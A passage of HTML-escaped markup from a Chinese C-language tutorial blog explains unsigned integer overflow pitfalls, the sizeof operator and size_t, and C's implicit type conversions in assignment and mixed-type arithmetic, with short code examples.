class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ui = UINT_MAX; \u003cspan class=\"comment\"\u003e// 4,294,967,295\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eui++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;ui = %u\\n\u0026#34;\u003c/span\u003e, ui); \u003cspan class=\"comment\"\u003e// 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eui--;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;ui = %u\\n\u0026#34;\u003c/span\u003e, ui); \u003cspan class=\"comment\"\u003e// 4,294,967,295\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,常量\u003ccode\u003eUINT_MAX\u003c/code\u003e是 unsigned int 类型的最大值。如果加\u003ccode\u003e1\u003c/code\u003e,对于该类型就会溢出,从而得到\u003ccode\u003e0\u003c/code\u003e;而\u003ccode\u003e0\u003c/code\u003e是该类型的最小值,再减\u003ccode\u003e1\u003c/code\u003e,又会得到\u003ccode\u003eUINT_MAX\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e溢出很容易被忽视,编译器又不会报错,所以必须非常小心。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = n; i \u0026gt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e; --i) \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码表面看似乎没有问题,但是循环变量\u003ccode\u003ei\u003c/code\u003e的类型是 unsigned int,这个类型的最小值是\u003ccode\u003e0\u003c/code\u003e,不可能得到小于0的结果。当\u003ccode\u003ei\u003c/code\u003e等于0,再减去\u003ccode\u003e1\u003c/code\u003e的时候,并不会返回\u003ccode\u003e-1\u003c/code\u003e,而是返回 unsigned int 的类型最大值,这个值总是大于等于\u003ccode\u003e0\u003c/code\u003e,导致无限循环。\u003c/p\u003e\u003cp\u003e为了避免溢出,最好方法就是将运算结果与类型的极限值进行比较。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ui;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e sum;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (sum + ui \u0026gt; UINT_MAX) too_big();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e sum = sum + ui;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 正确\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (ui \u0026gt; UINT_MAX - sum) too_big();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e sum = sum + ui;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003esum\u003c/code\u003e和\u003ccode\u003eui\u003c/code\u003e都是 unsigned int 类型,它们相加的和还是 unsigned int 类型,这就有可能发生溢出。但是,不能通过相加的和是否超出了最大值\u003ccode\u003eUINT_MAX\u003c/code\u003e,来判断是否发生了溢出,因为\u003ccode\u003esum + ui\u003c/code\u003e总是返回溢出后的结果,不可能大于\u003ccode\u003eUINT_MAX\u003c/code\u003e。正确的比较方法是,判断\u003ccode\u003eUINT_MAX - sum\u003c/code\u003e与\u003ccode\u003eui\u003c/code\u003e之间的大小关系。\u003c/p\u003e\u003cp\u003e下面是另一种错误的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e5\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e7\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i - j \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;negative\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;positive\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例的运算结果,会输出\u003ccode\u003epositive\u003c/code\u003e。原因是变量\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ej\u003c/code\u003e都是 unsigned int 类型,\u003ccode\u003ei - j\u003c/code\u003e的结果也是这个类型,最小值为\u003ccode\u003e0\u003c/code\u003e,不可能得到小于\u003ccode\u003e0\u003c/code\u003e的结果。正确的写法是写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (j \u0026gt; i) \u003cspan class=\"comment\"\u003e// ....\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"sizeof-运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#sizeof-%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"sizeof 运算符\"\u003e\u003c/a\u003esizeof 运算符\u003c/h3\u003e\u003cp\u003e\u003ccode\u003esizeof\u003c/code\u003e是 C 语言提供的一个运算符,返回某种数据类型或某个值占用的字节数量。它的参数可以是数据类型的关键字,也可以是变量名或某个具体的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 参数为数据类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 参数为变量\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 参数为数值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"number\"\u003e3.14\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的第一个示例,返回得到\u003ccode\u003eint\u003c/code\u003e类型占用的字节数量(通常是\u003ccode\u003e4\u003c/code\u003e或\u003ccode\u003e8\u003c/code\u003e)。第二个示例返回整数变量占用字节数量,结果与前一个示例完全一样。第三个示例返回浮点数\u003ccode\u003e3.14\u003c/code\u003e占用的字节数量,由于浮点数的字面量一律存储为 double 类型,所以会返回\u003ccode\u003e8\u003c/code\u003e,因为 double 类型占用的8个字节。\u003c/p\u003e\u003cp\u003e\u003ccode\u003esizeof\u003c/code\u003e运算符的返回值,C 语言只规定是无符号整数,并没有规定具体的类型,而是留给系统自己去决定,\u003ccode\u003esizeof\u003c/code\u003e到底返回什么类型。不同的系统中,返回值的类型有可能是\u003ccode\u003eunsigned int\u003c/code\u003e,也有可能是\u003ccode\u003eunsigned long\u003c/code\u003e,甚至是\u003ccode\u003eunsigned long long\u003c/code\u003e,对应的\u003ccode\u003eprintf()\u003c/code\u003e占位符分别是\u003ccode\u003e%u\u003c/code\u003e、\u003ccode\u003e%lu\u003c/code\u003e和\u003ccode\u003e%llu\u003c/code\u003e。这样不利于程序的可移植性。\u003c/p\u003e\u003cp\u003eC 语言提供了一个解决方法,创造了一个类型别名\u003ccode\u003esize_t\u003c/code\u003e,用来统一表示\u003ccode\u003esizeof\u003c/code\u003e的返回值类型。该别名定义在\u003ccode\u003estddef.h\u003c/code\u003e头文件(引入\u003ccode\u003estdio.h\u003c/code\u003e时会自动引入)里面,对应当前系统的\u003ccode\u003esizeof\u003c/code\u003e的返回值类型,可能是\u003ccode\u003eunsigned int\u003c/code\u003e,也可能是\u003ccode\u003eunsigned long\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eC 语言还提供了一个常量\u003ccode\u003eSIZE_MAX\u003c/code\u003e,表示\u003ccode\u003esize_t\u003c/code\u003e可以表示的最大整数。所以,\u003ccode\u003esize_t\u003c/code\u003e能够表示的整数范围为\u003ccode\u003e[0, SIZE_MAX]\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eprintf()\u003c/code\u003e有专门的占位符\u003ccode\u003e%zd\u003c/code\u003e或\u003ccode\u003e%zu\u003c/code\u003e,用来处理\u003ccode\u003esize_t\u003c/code\u003e类型的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%zd\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,不管\u003ccode\u003esizeof\u003c/code\u003e返回值的类型是什么,\u003ccode\u003e%zd\u003c/code\u003e占位符(或\u003ccode\u003e%zu\u003c/code\u003e)都可以正确输出。\u003c/p\u003e\u003cp\u003e如果当前系统不支持\u003ccode\u003e%zd\u003c/code\u003e或\u003ccode\u003e%zu\u003c/code\u003e,可使用\u003ccode\u003e%u\u003c/code\u003e(unsigned int)或\u003ccode\u003e%lu\u003c/code\u003e(unsigned long int)代替。\u003c/p\u003e\u003ch3 id=\"类型的自动转换\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%B1%BB%E5%9E%8B%E7%9A%84%E8%87%AA%E5%8A%A8%E8%BD%AC%E6%8D%A2\" class=\"headerlink\" title=\"类型的自动转换\"\u003e\u003c/a\u003e类型的自动转换\u003c/h3\u003e\u003cp\u003e某些情况下,C 语言会自动转换某个值的类型。\u003c/p\u003e\u003ch4 id=\"赋值运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%B5%8B%E5%80%BC%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"赋值运算\"\u003e\u003c/a\u003e赋值运算\u003c/h4\u003e\u003cp\u003e赋值运算符会自动将右边的值,转成左边变量的类型。\u003c/p\u003e\u003cp\u003e(1)浮点数赋值给整数变量\u003c/p\u003e\u003cp\u003e浮点数赋予整数变量时,C 语言直接丢弃小数部分,而不是四舍五入。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e3.14\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e是整数类型,赋给它的值是一个浮点数。编译器会自动把\u003ccode\u003e3.14\u003c/code\u003e先转为\u003ccode\u003eint\u003c/code\u003e类型,丢弃小数部分,再赋值给\u003ccode\u003ex\u003c/code\u003e,因此\u003ccode\u003ex\u003c/code\u003e的值是\u003ccode\u003e3\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这种自动转换会导致部分数据的丢失(\u003ccode\u003e3.14\u003c/code\u003e丢失了小数部分),所以最好不要跨类型赋值,尽量保证变量与所要赋予的值是同一个类型。\u003c/p\u003e\u003cp\u003e注意,舍弃小数部分时,不是四舍五入,而是整个舍弃。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e12.99\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ex\u003c/code\u003e等于\u003ccode\u003e12\u003c/code\u003e,而不是四舍五入的\u003ccode\u003e13\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(2)整数赋值给浮点数变量\u003c/p\u003e\u003cp\u003e整数赋值给浮点数变量时,会自动转为浮点数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e y = \u003cspan class=\"number\"\u003e12\u003c/span\u003e * \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ey\u003c/code\u003e的值不是\u003ccode\u003e24\u003c/code\u003e,而是\u003ccode\u003e24.0\u003c/code\u003e,因为等号右边的整数自动转为了浮点数。\u003c/p\u003e\u003cp\u003e(3)窄类型赋值给宽类型\u003c/p\u003e\u003cp\u003e字节宽度较小的整数类型,赋值给字节宽度较大的整数变量时,会发生类型提升,即窄类型自动转为宽类型。\u003c/p\u003e\u003cp\u003e比如,\u003ccode\u003echar\u003c/code\u003e或\u003ccode\u003eshort\u003c/code\u003e类型赋值给\u003ccode\u003eint\u003c/code\u003e类型,会自动提升为\u003ccode\u003eint\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e x = \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = x + y;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003ex\u003c/code\u003e的类型是\u003ccode\u003echar\u003c/code\u003e,由于赋值给\u003ccode\u003eint\u003c/code\u003e类型,所以会自动提升为\u003ccode\u003eint\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(4)宽类型赋值给窄类型\u003c/p\u003e\u003cp\u003e字节宽度较大的类型,赋值给字节宽度较小的变量时,会发生类型降级,自动转为后者的类型。这时可能会发生截值(truncation),系统会自动截去多余的二进制位,导致难以预料的结果。\u003c/p\u003e\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eint i = \u003cspan class=\"number\"\u003e321\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003echar ch = i; \u003cspan class=\"comment\"\u003e// ch 的值是 65 (321 - 256)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面例子中,变量\u003ccode\u003ech\u003c/code\u003e是\u003ccode\u003echar\u003c/code\u003e类型,宽度是8个二进制位。变量\u003ccode\u003ei\u003c/code\u003e是\u003ccode\u003eint\u003c/code\u003e类型,将\u003ccode\u003ei\u003c/code\u003e赋值给\u003ccode\u003ech\u003c/code\u003e,后者只能容纳\u003ccode\u003ei\u003c/code\u003e(二进制形式为\u003ccode\u003e101000001\u003c/code\u003e,共9位)的后八位,前面多出来的二进制位被丢弃,保留后八位就变成了\u003ccode\u003e01000001\u003c/code\u003e(十进制的65,相当于字符\u003ccode\u003eA\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e浮点数赋值给整数类型的值,也会发生截值,浮点数的小数部分会被截去。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e pi = \u003cspan class=\"number\"\u003e3.14159\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = pi; \u003cspan class=\"comment\"\u003e// i 的值为 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ei\u003c/code\u003e等于\u003ccode\u003e3\u003c/code\u003e,\u003ccode\u003epi\u003c/code\u003e的小数部分被截去了。\u003c/p\u003e\u003ch4 id=\"混合类型的运算\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%B7%B7%E5%90%88%E7%B1%BB%E5%9E%8B%E7%9A%84%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"混合类型的运算\"\u003e\u003c/a\u003e混合类型的运算\u003c/h4\u003e\u003cp\u003e不同类型的值进行混合计算时,必须先转成同一个类型,才能进行计算。转换规则如下:\u003c/p\u003e\u003cp\u003e(1)整数与浮点数混合运算时,整数转为浮点数类型,与另一个运算数类型相同。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e3\u003c/span\u003e + \u003cspan class=\"number\"\u003e1.2\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 4.2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是\u003ccode\u003eint\u003c/code\u003e类型与\u003ccode\u003efloat\u003c/code\u003e类型的混合计算,\u003ccode\u003eint\u003c/code\u003e类型的\u003ccode\u003e3\u003c/code\u003e会先转成\u003ccode\u003efloat\u003c/code\u003e的\u003ccode\u003e3.0\u003c/code\u003e,再进行计算,得到\u003ccode\u003e4.2\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(2)不同的浮点数类型混合运算时,宽度较小的类型转为宽度较大的类型,比如\u003ccode\u003efloat\u003c/code\u003e转为\u003ccode\u003edouble\u003c/code\u003e,\u003ccode\u003edouble\u003c/code\u003e转为\u003ccode\u003elong double\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e(3)不同的整数类型混合运算时,宽度较小的类型会提升为宽度较大的类型。比如\u003ccode\u003eshort\u003c/code\u003e转为\u003ccode\u003eint\u003c/code\u003e,\u003ccode\u003eint\u003c/code\u003e转为\u003ccode\u003elong\u003c/code\u003e等,有时还会将带符号的类型\u003ccode\u003esigned\u003c/code\u003e转为无符号\u003ccode\u003eunsigned\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e下面例子的执行结果,可能会出人意料。\u003c/p\u003e\u003cfigure class=\"highlight 